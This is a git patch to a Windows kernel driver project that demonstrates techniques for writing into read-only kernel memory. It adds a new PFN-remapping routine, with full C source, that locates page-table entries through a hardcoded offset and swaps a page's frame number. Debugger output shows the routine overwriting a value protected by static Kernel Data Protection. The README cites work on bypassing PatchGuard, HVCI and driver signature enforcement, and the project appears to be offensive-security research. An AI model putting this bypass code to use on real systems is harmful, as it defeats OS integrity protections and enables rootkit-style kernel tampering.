From 5013204277f622dddb8c567b3190c30b928035ef Mon Sep 17 00:00:00 2001 From: winterknife Date: Sun, 7 Jun 2026 09:24:34 -0400 Subject: [PATCH] updated KernelWriteProtect project to include PFN remapping technique --- KernelWriteProtect/Inc/WriteProtectBypass.h | 15 +- KernelWriteProtect/KernelWriteProtect.vcxproj | 2 +- KernelWriteProtect/README.md | 85 +++++--- KernelWriteProtect/Src/DrvMain.cpp | 61 ++++-- KernelWriteProtect/Src/WriteProtectBypass.cpp | 206 +++++++++++++++++- 5 files changed, 309 insertions(+), 60 deletions(-) diff --git a/KernelWriteProtect/Inc/WriteProtectBypass.h b/KernelWriteProtect/Inc/WriteProtectBypass.h index 31c7b23..4abcbe2 100644 --- a/KernelWriteProtect/Inc/WriteProtectBypass.h +++ b/KernelWriteProtect/Inc/WriteProtectBypass.h @@ -7,7 +7,7 @@ // // Modifications: // 2026-05-12 Created -// 2026-05-15 Updated +// 2026-06-03 Updated // ======================================================================== // ======================================================================== @@ -87,7 +87,7 @@ EXTERN_C DECLSPEC_NOINLINE VOID __stdcall copy_memory_cr0_wp( _In_ DWORD_PTR dwptrLength ); -/// @brief Copies the contents of a source memory block to a destination memory block with write protect bypass using double mapping +/// @brief Copies the contents of a source memory block to a destination memory block with write protect bypass using MDL double mapping /// @param pDestination Pointer to the destination memory block to copy the bytes to /// @param pcSource Pointer to the source memory block to copy the bytes from /// @param dwptrLength Number of bytes to copy from the source to the destination @@ -109,4 +109,15 @@ EXTERN_C DECLSPEC_NOINLINE VOID __stdcall copy_memory_pte( _In_ DWORD_PTR dwptrLength ); +/// @brief Copies the contents of a source memory block to a destination memory block with write protect bypass using PFN remapping +/// @param pDestination Pointer to the destination memory block to copy the bytes to +/// @param pcSource Pointer to the source memory block to copy the bytes from +/// @param dwptrLength Number of bytes to copy from the source to the destination +_IRQL_requires_max_(APC_LEVEL) +EXTERN_C DECLSPEC_NOINLINE VOID __stdcall copy_memory_page_remapping( + _Out_writes_bytes_all_(dwptrLength) VOID* pDestination, + _In_reads_bytes_(dwptrLength) CONST VOID* pcSource, + _In_ DWORD_PTR dwptrLength +); + #pragma endregion \ No newline at end of file diff --git a/KernelWriteProtect/KernelWriteProtect.vcxproj b/KernelWriteProtect/KernelWriteProtect.vcxproj index 53aafcf..08aac06 100644 --- a/KernelWriteProtect/KernelWriteProtect.vcxproj +++ b/KernelWriteProtect/KernelWriteProtect.vcxproj @@ -57,7 +57,7 @@ true - /EMITPOGOPHASEINFO /NOVCFEATURE /NOCOFFGRPINFO /FILEALIGN:0x200 /PDBALTPATH:$(ProjectName).pdb /Brepro /RELEASE /EMITTOOLVERSIONINFO:NO %(AdditionalOptions) + /EMITPOGOPHASEINFO /NOVCFEATURE /NOCOFFGRPINFO /FILEALIGN:0x200 /PDBALTPATH:$(ProjectName).pdb /Brepro /RELEASE /EMITTOOLVERSIONINFO:NO /DRIVER:WDM %(AdditionalOptions) Ntoskrnl.lib DebugFull diff --git a/KernelWriteProtect/README.md b/KernelWriteProtect/README.md index 0033d30..deadd0d 100644 --- a/KernelWriteProtect/README.md +++ b/KernelWriteProtect/README.md @@ -2,7 +2,7 @@ ## Version -- `v2.0.0` +- `v3.0.0` ## Brief @@ -12,55 +12,63 @@ - `CPL: 0` - `OS: Windows` - `Language: C` -- Sample code that demonstrates three techniques for writing into read-only pages in kernel space using `CR0.WP` manipulation, `MDL` double mapping, and `PTE` manipulation +- Sample code that demonstrates four techniques for writing into read-only pages in kernel space using `CR0.WP` manipulation, `MDL` double mapping, `PTE` manipulation, and `PFN` remapping. ## Usage ``` -0: kd> vertarget +1: kd> vertarget Windows 10 Kernel Version 26100 MP (2 procs) Free x64 +Product: WinNt, suite: TerminalServer SingleUserTS Edition build lab: 26100.1.amd64fre.ge_release.240331-1435 -Kernel base = 0xfffff801`ece00000 PsLoadedModuleList = 0xfffff801`edcf5150 -Debug session time: Mon May 18 11:32:44.468 2026 (UTC - 4:00) -System Uptime: 0 days 1:46:43.304 +Kernel base = 0xfffff801`cb400000 PsLoadedModuleList = 0xfffff801`cc2f52d0 +Debug session time: Fri Jun 5 15:50:12.936 2026 (UTC - 4:00) +System Uptime: 0 days 0:01:50.980 -0: kd> g +1: kd> g +KDFILES: Replacing '\??\C:\pub\KernelWriteProtect.sys' with 'C:\Users\winterknife\Desktop\CNO-Programs\EVENSTAR\KernelWriteProtect\Bin\x64\KernelWriteProtect.sys'. File size 7KB. +KdPullRemoteFile(FFFFAD0304FC5040): About to overwrite \??\C:\pub\KernelWriteProtect.sys and preallocate to 1a60 +KdPullRemoteFile(FFFFAD0304FC5040): Return from ZwCreateFile with status 0 +.. [DBG]: +++ KernelWriteProtect.sys Loaded +++ -[DBG]: KernelWriteProtect.sys Built May 18 2026 11:31:17 -[DBG]: KernelWriteProtect: DriverObject = FFFFBD0FF0496E20 +[DBG]: KernelWriteProtect.sys Built Jun 5 2026 15:23:55 +[DBG]: KernelWriteProtect: DriverObject = FFFFAD0305316E10 [DBG]: KernelWriteProtect: RegistryPath = \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\KernelWriteProtect -[DBG]: --- KernelWriteProtect.sys Unloaded --- +[DBG]: KernelWriteProtect: g_dwProtectedValue KVA = 0xFFFFF801625A4000 +[DBG]: KernelWriteProtect: g_dwProtectedValue original contents = 0xDEADBEEF +[DBG]: KernelWriteProtect: g_dwProtectedValue protected by static KDP. Break instruction exception - code 80000003 (first chance) -******************************************************************************* -* * -* You are seeing this message because you pressed either * -* CTRL+C (if you run console kernel debugger) or, * -* CTRL+BREAK (if you run GUI kernel debugger), * -* on your debugger machine's keyboard. * -* * -* THIS IS NOT A BUG OR A SYSTEM CRASH * -* * -* If you did not intend to break into the debugger, press the "g" key, then * -* press the "Enter" key now. This message might immediately reappear. If it * -* does, press "g" and "Enter" again. * -* * -******************************************************************************* -nt!DbgBreakPointWithStatus: -fffff801`ed2fb1b0 cc int 3 +KernelWriteProtect_fffff801625a0000!DriverEntry+0xe0: +fffff801`625a50e0 cc int 3 -0: kd> !pte 0xFFFFF78000000738 - VA fffff78000000738 -PXE at FFFFF2793C9E4F78 PPE at FFFFF2793C9EF000 PDE at FFFFF2793DE00000 PTE at FFFFF27BC0000000 -contains 0000000000286063 contains 0000000000285063 contains 0000000000284063 contains 8A00000000283121 -pfn 286 ---DA--KWEV pfn 285 ---DA--KWEV pfn 284 ---DA--KWEV pfn 283 -G--A--KR-V +1: kd> !pte g_dwProtectedValue + VA fffff801625a4000 +PXE at FFFFE673399CCF80 PPE at FFFFE673399F0028 PDE at FFFFE6733E005890 PTE at FFFFE67C00B12D20 +contains 00000000001D0063 contains 00000000001CF063 contains 0A0000011169D863 contains 89000001C0FDF121 +pfn 1d0 ---DA--KWEV pfn 1cf ---DA--KWEV pfn 11169d ---DA--KWEV pfn 1c0fdf -G--A--KR-V -0: kd> db 0xFFFFF78000000738 LC -fffff780`00000738 41 41 41 41 41 41 41 41-41 41 41 41 AAAAAAAAAAAA +1: kd> dd g_dwProtectedValue L1 +fffff801`625a4000 deadbeef + +1: kd> g +[DBG]: KernelWriteProtect: g_dwProtectedValue modified contents = 0x41414141 +Break instruction exception - code 80000003 (first chance) +KernelWriteProtect_fffff801625a0000!DriverEntry+0x10a: +fffff801`625a510a cc int 3 + +1: kd> !pte g_dwProtectedValue + VA fffff801625a4000 +PXE at FFFFE673399CCF80 PPE at FFFFE673399F0028 PDE at FFFFE6733E005890 PTE at FFFFE67C00B12D20 +contains 00000000001D0063 contains 00000000001CF063 contains 0A0000011169D863 contains 89000001BADC3121 +pfn 1d0 ---DA--KWEV pfn 1cf ---DA--KWEV pfn 11169d ---DA--KWEV pfn 1badc3 -G--A--KR-V + +1: kd> dd g_dwProtectedValue L1 +fffff801`625a4000 41414141 ``` ## Tested OS Versions -- `Windows 11 25H2 Build 26200 Revision 8246 64-bit` +- `Windows 11 25H2 Build 26200 Revision 8457 64-bit` ## References @@ -69,4 +77,11 @@ fffff780`00000738 41 41 41 41 41 41 41 41-41 41 41 41 AAAAAAAAAAAA 3. [EfiGuard](https://github.com/Mattiwatti/EfiGuard) 4. [kernelhook](https://github.com/adrianyy/kernelhook) 5. [Exploit Development: Leveraging Page Table Entries for Windows Kernel Exploitation](https://connormcgarr.github.io/pte-overwrites/) -6. [g_CiOptions in a Virtualized World](https://trustedsec.com/blog/g_cioptions-in-a-virtualized-world) \ No newline at end of file +6. [g_CiOptions in a Virtualized World](https://trustedsec.com/blog/g_cioptions-in-a-virtualized-world) +7. [Melting Down PatchGuard: Leveraging KPTI to Bypass Kernel Patch Protection](https://www.fortinet.com/blog/threat-research/melting-down-patchguard-leveraging-kpi-to-bypass-kernel-patch-protection) +8. [The Swan Song for Driver Signature Enforcement Tampering](https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering) +9. [Code Execution against Windows HVCI](https://datafarm-cybersecurity.medium.com/code-execution-against-windows-hvci-f617570e9df0) +10. [Intel VT-rp - Part 1. remapping attack and HLAT](https://tandasat.github.io/blog/2023/07/05/intel-vt-rp-part-1.html) +11. [Intel VT-rp - Part 2. paging-write and guest-paging verification](https://tandasat.github.io/blog/2023/07/31/intel-vt-rp-part-2.html) +12. [HEXACON2023 - Bypassing the HVCI memory protection by Viviane Zwanger and Henning Braun](https://www.youtube.com/watch?v=WWvd2_jd0ZI) +13. [BusterCall](https://github.com/zer0condition/BusterCall) \ No newline at end of file diff --git a/KernelWriteProtect/Src/DrvMain.cpp b/KernelWriteProtect/Src/DrvMain.cpp index d19dd0f..4753f4e 100644 --- a/KernelWriteProtect/Src/DrvMain.cpp +++ b/KernelWriteProtect/Src/DrvMain.cpp @@ -7,7 +7,7 @@ // // Modifications: // 2026-04-13 Created -// 2026-05-16 Updated +// 2026-06-05 Updated // ======================================================================== // ======================================================================== @@ -17,24 +17,24 @@ #include "../Inc/Common.h" #include "../Inc/WriteProtectBypass.h" +// ======================================================================== +// Globals +// ======================================================================== + +#pragma region GLOBALS + +// RO global variable +#pragma section(".rodata", read) +__declspec(allocate(".rodata")) DWORD g_dwProtectedValue = 0xDEADBEEF; + +#pragma endregion + // ======================================================================== // Routines // ======================================================================== #pragma region ROUTINES -/// @brief DRIVER_UNLOAD callback routine that gets called to uninitialize the driver when it is unloaded -/// @param pDriverObject Pointer to DRIVER_OBJECT structure representing the driver's driver object -_IRQL_requires_(PASSIVE_LEVEL) -EXTERN_C __declspec(code_seg("PAGE")) VOID __stdcall driver_unload( - _In_ PDRIVER_OBJECT pDriverObject -) { - // Suppress W4 warning - C4100 - UNREFERENCED_PARAMETER(pDriverObject); - - DEBUG_PRINT("--- %s.sys Unloaded ---\n", __MODULE__); -} - /// @brief DRIVER_INITIALIZE callback routine that gets called to initialize the driver when it is loaded /// @param pDriverObject Pointer to DRIVER_OBJECT structure representing the driver's driver object /// @param puncRegistryPath Pointer to UNICODE_STRING structure specifying the path to the driver's registry key @@ -49,15 +49,36 @@ EXTERN_C __declspec(code_seg("INIT")) NTSTATUS __stdcall DriverEntry( DEBUG_PRINT("%s: DriverObject = %p\n", __MODULE__, pDriverObject); DEBUG_PRINT("%s: RegistryPath = %wZ\n", __MODULE__, puncRegistryPath); - // Set routine to be called on driver unload - pDriverObject->DriverUnload = static_cast(driver_unload); + // This driver cannot be unloaded + // /DRIVER:WDM linker switch + no DRIVER_UNLOAD routine + no MM_PROTECT_DRIVER_SECTION_ALLOW_UNLOAD flag - // Write data into RO _KUSER_SHARED_DATA structure + DEBUG_PRINT("%s: g_dwProtectedValue KVA = 0x%p\n", __MODULE__, &g_dwProtectedValue); + DEBUG_PRINT("%s: g_dwProtectedValue original contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue)); + + // Mark the guest physical page containing g_dwProtectedValue as RO in the SLAT entry + NTSTATUS status = MmProtectDriverSection(&g_dwProtectedValue, 0, 0); + if (!NT_SUCCESS(status)) { + DEBUG_PRINT("%s: MmProtectDriverSection error = 0x%08X\n", __MODULE__, status); + return status; + } + DEBUG_PRINT("%s: g_dwProtectedValue protected by static KDP.\n", __MODULE__); + __debugbreak(); + + // Corrupt RO data page BYTE byarrPayload[] = { 0x41, 0x41, 0x41, 0x41 }; - QWORD qwKuserSharedData = 0xFFFFF78000000000ULL; - copy_memory_cr0_wp(reinterpret_cast(qwKuserSharedData + 0x738ULL), byarrPayload, sizeof(byarrPayload)); - copy_memory_double_mapping(reinterpret_cast(qwKuserSharedData + 0x73CULL), byarrPayload, sizeof(byarrPayload)); - copy_memory_pte(reinterpret_cast(qwKuserSharedData + 0x740ULL), byarrPayload, sizeof(byarrPayload)); + + //copy_memory_cr0_wp(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload)); + //DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue)); + + //copy_memory_double_mapping(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload)); + //DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue)); + + //copy_memory_pte(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload)); + //DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue)); + + copy_memory_page_remapping(&g_dwProtectedValue, byarrPayload, sizeof(byarrPayload)); + DEBUG_PRINT("%s: g_dwProtectedValue modified contents = 0x%I32X\n", __MODULE__, ReadULongNoFence(&g_dwProtectedValue)); + __debugbreak(); return STATUS_SUCCESS; } diff --git a/KernelWriteProtect/Src/WriteProtectBypass.cpp b/KernelWriteProtect/Src/WriteProtectBypass.cpp index d671b28..ee11213 100644 --- a/KernelWriteProtect/Src/WriteProtectBypass.cpp +++ b/KernelWriteProtect/Src/WriteProtectBypass.cpp @@ -5,11 +5,11 @@ // // Description: Source file that contains the necessary routines to bypass // the Write Protect (WP) mitigation to allow supervisor-level procedures -// to write into read-only pages +// to write into read-only pages in kernel space // // Modifications: // 2026-05-12 Created -// 2026-05-23 Updated +// 2026-06-06 Updated // ======================================================================== // ======================================================================== @@ -318,4 +318,206 @@ cleanup: KeLowerIrql(kirqlOld); } +_Use_decl_annotations_ +VOID __stdcall copy_memory_page_remapping( + VOID* pDestination, + CONST VOID* pcSource, + DWORD_PTR dwptrLength +) { + // Init local variables + PVOID pNtoskrnl = nullptr; + PVOID pMmGetVirtualForPhysical = nullptr; + DWORD dwOffsetImm64 = 0; + QWORD qwMmPteBase = 0; + PMMPTE_HARDWARE pMmpteHardwarePte = nullptr; + PMMPTE_HARDWARE pMmpteHardwarePde = nullptr; + PMMPTE_HARDWARE pMmpteHardwarePpe = nullptr; + PMMPTE_HARDWARE pMmpteHardwarePxe = nullptr; + PVOID pReserved = nullptr; + PHYSICAL_ADDRESS physicalAddressLow; __stosb(reinterpret_cast(&physicalAddressLow), 0, sizeof(PHYSICAL_ADDRESS)); + PHYSICAL_ADDRESS physicalAddressHigh; __stosb(reinterpret_cast(&physicalAddressHigh), 0, sizeof(PHYSICAL_ADDRESS)); + PHYSICAL_ADDRESS physicalAddressSkipBytes; __stosb(reinterpret_cast(&physicalAddressSkipBytes), 0, sizeof(PHYSICAL_ADDRESS)); + PMDL pMdl = nullptr; + PVOID pPage = nullptr; + NTSTATUS status = STATUS_SUCCESS; + KIRQL kirqlOld = 0; + BOOLEAN bIrqlRaised = false; + MMPTE_HARDWARE mmpteHardwareNew; __stosb(reinterpret_cast(&mmpteHardwareNew), 0, sizeof(MMPTE_HARDWARE)); + MMPTE_HARDWARE mmpteHardwareOld; __stosb(reinterpret_cast(&mmpteHardwareOld), 0, sizeof(MMPTE_HARDWARE)); + BOOLEAN bPfnSwapped = false; + + // Check if the write will span a page boundary + if (ADDRESS_AND_SIZE_TO_SPAN_PAGES(pDestination, dwptrLength) > 1) { + goto cleanup; + } + + // Get the nt image base address + RtlPcToFileHeader(reinterpret_cast(RtlFindExportedRoutineByName), &pNtoskrnl); + if (pNtoskrnl == nullptr) { + goto cleanup; + } + + // Get the KVA of nt!MmGetVirtualForPhysical + pMmGetVirtualForPhysical = RtlFindExportedRoutineByName(pNtoskrnl, "MmGetVirtualForPhysical"); + if (pMmGetVirtualForPhysical == nullptr) { + goto cleanup; + } + + /* + 0: kd> uf nt!MmGetVirtualForPhysical + nt!MmGetVirtualForPhysical: + fffff803`8ec6e980 488bc1 mov rax,rcx + fffff803`8ec6e983 48c1e80c shr rax,0Ch + fffff803`8ec6e987 488d1440 lea rdx,[rax+rax*2] + fffff803`8ec6e98b 4803d2 add rdx,rdx + fffff803`8ec6e98e 48b80800000080b1ffff mov rax,0FFFFB18000000008h + fffff803`8ec6e998 488b04d0 mov rax,qword ptr [rax+rdx*8] + fffff803`8ec6e99c 48c1e019 shl rax,19h + fffff803`8ec6e9a0 48ba0000000080aeffff mov rdx,0FFFFAE8000000000h + fffff803`8ec6e9aa 48c1e219 shl rdx,19h + fffff803`8ec6e9ae 81e1ff0f0000 and ecx,0FFFh + fffff803`8ec6e9b4 482bc2 sub rax,rdx + fffff803`8ec6e9b7 48c1f810 sar rax,10h + fffff803`8ec6e9bb 4803c1 add rax,rcx + fffff803`8ec6e9be c3 ret + */ + // This is not the correct way to find nt!MmPteBase, use nt!KdDebuggerDataBlock + dwOffsetImm64 = 0x22UL; + + // Get the KVA of nt!MmPteBase + // Starting from 64-bit Windows 10 1607 Anniversary Update (RS1) Build 14393, the PML4 table auto-entry index is randomized at boot time as part of KASLR (earlier, index fixed at 0x1ED) + qwMmPteBase = *reinterpret_cast(static_cast(pMmGetVirtualForPhysical) + dwOffsetImm64); + + // Compute the KVA of the PTE for the write address + // BMI1 is only available since Haswell Intel microarchitecture (2013) + /* + 0: kd> uf nt!MiGetPteAddress + nt!MiGetPteAddress: + fffff803`8ea376c0 48c1e909 shr rcx,9 + fffff803`8ea376c4 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h + fffff803`8ea376ce 4823c8 and rcx,rax + fffff803`8ea376d1 48b80000000080aeffff mov rax,0FFFFAE8000000000h + fffff803`8ea376db 4803c1 add rax,rcx + fffff803`8ea376de c3 ret + */ + pMmpteHardwarePte = reinterpret_cast(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast(pDestination), 0x10), 0x19))); + + // Compute the KVA of the PDE for the write address + /* + 0: kd> uf nt!MiGetPdeAddress + nt!MiGetPdeAddress: + fffff803`8ea12470 48c1e912 shr rcx,12h + fffff803`8ea12474 81e1f8ffff3f and ecx,3FFFFFF8h + fffff803`8ea1247a 48b800000040d7aeffff mov rax,0FFFFAED740000000h + fffff803`8ea12484 4803c1 add rax,rcx + fffff803`8ea12487 c3 ret + */ + pMmpteHardwarePde = reinterpret_cast(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast(pMmpteHardwarePte), 0x10), 0x19))); + + // Compute the KVA of the PDPTE for the write address + pMmpteHardwarePpe = reinterpret_cast(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast(pMmpteHardwarePde), 0x10), 0x19))); + + // Compute the KVA of the PML4E for the write address + pMmpteHardwarePxe = reinterpret_cast(_andn_u64(0x7ULL, qwMmPteBase + __ull_rshift(__ll_lshift(reinterpret_cast(pMmpteHardwarePpe), 0x10), 0x19))); + + // Reserve a memory buffer in KVAS using system PTEs + pReserved = MmAllocateMappingAddressEx(PAGE_SIZE, __POOLTAG__, 0); + if (pReserved == nullptr) { + goto cleanup; + } + + // Allocate nonpaged physical memory pages to build an MDL + // NOTE: When HVCI is enabled, dynamic allocation of executable memory is no longer possible + physicalAddressHigh.QuadPart = MAXULONG64; + pMdl = MmAllocatePagesForMdlEx(physicalAddressLow, physicalAddressHigh, physicalAddressSkipBytes, PAGE_SIZE, MmCached, MM_ALLOCATE_FULLY_REQUIRED); + if (pMdl == nullptr) { + goto cleanup; + } + + // Map the MDL in the reserved memory buffer + pPage = MmMapLockedPagesWithReservedMapping(pReserved, __POOLTAG__, pMdl, MmCached); + if (pPage == nullptr) { + goto cleanup; + } + + // Set the protection type for the mapping to RW + status = MmProtectMdlSystemAddress(pMdl, PAGE_READWRITE); + if (!NT_SUCCESS(status)) { + goto cleanup; + } + + // Clone the original RO page into the newly allocated 4 KB RW page + __movsb(static_cast(pPage), static_cast(PAGE_ALIGN(pDestination)), PAGE_SIZE); + + // Write into RW page + __movsb(static_cast(pPage) + BYTE_OFFSET(pDestination), static_cast(pcSource), dwptrLength); + + // Raise the Interrupt Request Level (IRQL) of the current processor to DISPATCH_LEVEL + // This will prevent the thread scheduler from preempting the current thread + kirqlOld = KeRaiseIrqlToDpcLevel(); + bIrqlRaised = true; + + // Check if the PML4E is valid + if (!pMmpteHardwarePxe->Valid) { + goto cleanup; + } + + // Check if the PDPTE is valid + if (!pMmpteHardwarePpe->Valid) { + goto cleanup; + } + + // Check if the PDE is valid + // We do not support large pages at the moment + if (!pMmpteHardwarePde->Valid || pMmpteHardwarePde->LargePage) { + goto cleanup; + } + + // Check if the PTE is valid + if (!pMmpteHardwarePte->Valid) { + goto cleanup; + } + + // Swap the PFN in the PTE that maps the original RO page with the PFN in the PTE that maps the modified RW page + // WARNING: If the code / data page is protected by HLAT then the paging structure will be managed by the hypervisor + // WARNING: HyperGuard / Secure Kernel Patch Guard (SKPG) runs checks at random intervals and will bugcheck unless the original PFN is restored + mmpteHardwareOld = *pMmpteHardwarePte; + mmpteHardwareNew = mmpteHardwareOld; + mmpteHardwareNew.PageFrameNumber = MmGetMdlPfnArray(pMdl)[0]; + if (_InterlockedCompareExchange64(reinterpret_cast(pMmpteHardwarePte), *reinterpret_cast(&mmpteHardwareNew), *reinterpret_cast(&mmpteHardwareOld)) != *reinterpret_cast(&mmpteHardwareOld)) { + goto cleanup; + } + bPfnSwapped = true; + + // Invalidate any Translation Lookaside Buffer (TLB) entries for the target page + // Remember to flush the TLB on all logical processors by sending an IPI + __invlpg(pDestination); // INVLPG - Invalidate TLB Entries + + // Cleanup +cleanup: + // Restore the original IRQL of the current processor + if (bIrqlRaised) + KeLowerIrql(kirqlOld); + + // Check if the PFN swapping wasn't successful + // Note that there is a memory leak on the success path + if (!bPfnSwapped) { + // Release the mapping + if (pPage) + MmUnmapReservedMapping(pPage, __POOLTAG__, pMdl); + + // Free the physical page described by the MDL + if (pMdl) + MmFreePagesFromMdl(pMdl); + + // Release the MDL + if (pMdl) + ExFreePool(pMdl); + + // Free the reserved memory buffer + if (pReserved) + MmFreeMappingAddress(pReserved, __POOLTAG__); + } +} + #pragma endregion \ No newline at end of file